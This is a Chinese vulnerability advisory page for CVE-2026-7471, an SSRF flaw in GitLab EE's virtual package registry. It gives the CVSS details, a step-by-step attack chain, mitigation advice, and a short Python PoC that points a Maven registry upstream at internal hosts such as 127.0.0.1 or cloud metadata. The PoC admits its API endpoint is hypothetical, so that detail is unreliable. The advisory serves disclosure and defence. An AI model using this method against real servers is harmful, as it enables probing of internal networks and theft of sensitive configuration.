IPBUF安全漏洞报告
English
CVE-2026-7471 CVSS 3.5 低危

CVE-2026-7471 GitLab EE 虚拟注册表SSRF漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-7471
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GitLab Enterprise Edition (EE)

相关标签

SSRFGitLabCVE-2026-7471信息泄露低危Package Registry

漏洞概述

该漏洞存在于 GitLab Enterprise Edition 中,影响 18.8 至 18.11.3 之前的多个版本。由于系统对虚拟注册表上游的验证机制存在缺陷,拥有低权限的已认证攻击者若控制了虚拟注册表上游,即可利用此漏洞向内部网络主机发起未经授权的请求。此问题可能导致内网信息泄露,CVSS 评分为 3.5,被定性为低危漏洞。

技术细节

该漏洞属于服务器端请求伪造(SSRF),其根源在于 GitLab EE 的虚拟注册表功能未对用户配置的上游地址实施严格的安全校验。在受影响的版本中,系统信任了用户输入的 URL,未限制其指向内网 IP 或受限资源。攻击者首先需要注册一个合法账户并获取项目权限,随后在 Package Registry 设置中,将上游地址构造为内网敏感端点(如云元数据服务或本地管理端口)。由于 CVSS 作用域为 Changed (S:C),攻击者利用此漏洞不仅能影响应用本身,还可能将攻击扩散到同一网络环境下的其他内部系统。虽然当前评分显示完整性和可用性不受影响,但通过读取内网敏感配置(如 AWS Metadata),攻击者可能间接获得更高权限的控制权。利用过程无需用户交互,具有一定的隐蔽性。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标的 GitLab EE 实例,确认其版本处于受影响范围内(18.8 至 18.11.3 之前)。
STEP 2
2. 获取凭证
攻击者注册一个普通账户或使用已有的低权限账户登录 GitLab,并确保拥有创建或修改项目包注册表配置的权限。
STEP 3
3. 配置恶意上游
攻击者访问项目的 Package Registry 设置,修改虚拟注册表的上游地址,将其设置为内网 IP 地址或受限资源(如 127.0.0.1 或云元数据服务)。
STEP 4
4. 触发请求
GitLab 服务器在处理包同步或元数据获取时,会解析攻击者配置的上游地址,并向该内网地址发起 HTTP 请求。
STEP 5
5. 信息泄露
根据内网服务的响应,攻击者可能获取敏感信息(如服务指纹、配置文件),进而探测内网拓扑或为进一步攻击做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Conceptual PoC for CVE-2026-7471 # This script demonstrates how an authenticated user might attempt to exploit the SSRF # by configuring a malicious upstream in the GitLab Package Registry. import requests import json # Configuration GITLAB_URL = "https://gitlab.example.com" PRIVATE_TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" # User's access token PROJECT_ID = "123" MALICIOUS_UPSTREAM = "http://127.0.0.1:8080/admin" # Internal host target headers = { "PRIVATE-TOKEN": PRIVATE_TOKEN, "Content-Type": "application/json" } # Step 1: Get current registry settings # Endpoint is hypothetical based on GitLab API structure for package registries get_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/packages/maven" response = requests.get(get_url, headers=headers) print(f"Current settings status: {response.status_code}") # Step 2: Update registry upstream to point to internal host # This payload simulates the configuration change that triggers the SSRF payload = { "maven": { "forward": { "upstream": MALICIOUS_UPSTREAM } } } update_url = f"{GITLAB_URL}/api/v4/projects/{PROJECT_ID}/packages/maven" try: exploit_response = requests.put(update_url, headers=headers, data=json.dumps(payload)) if exploit_response.status_code == 200: print("[+] Successfully configured malicious upstream.") print(f"[+] Server may now request internal host: {MALICIOUS_UPSTREAM}") else: print(f"[-] Failed to configure upstream. Status: {exploit_response.status_code}") print(exploit_response.text) except Exception as e: print(f"Error: {e}")

影响范围

GitLab EE >= 18.8, < 18.9.7
GitLab EE >= 18.10, < 18.10.6
GitLab EE >= 18.11, < 18.11.3

防御指南

临时缓解措施
建议立即升级官方发布的补丁版本。若无法立即升级,应严格限制对 Package Registry 功能的访问权限,仅允许受信任的用户配置上游。同时,应在防火墙或网络 ACL 中配置规则,阻断 GitLab 服务器向内网非业务必要端口(如 127.0.0.1、169.254.169.254)发起的连接请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表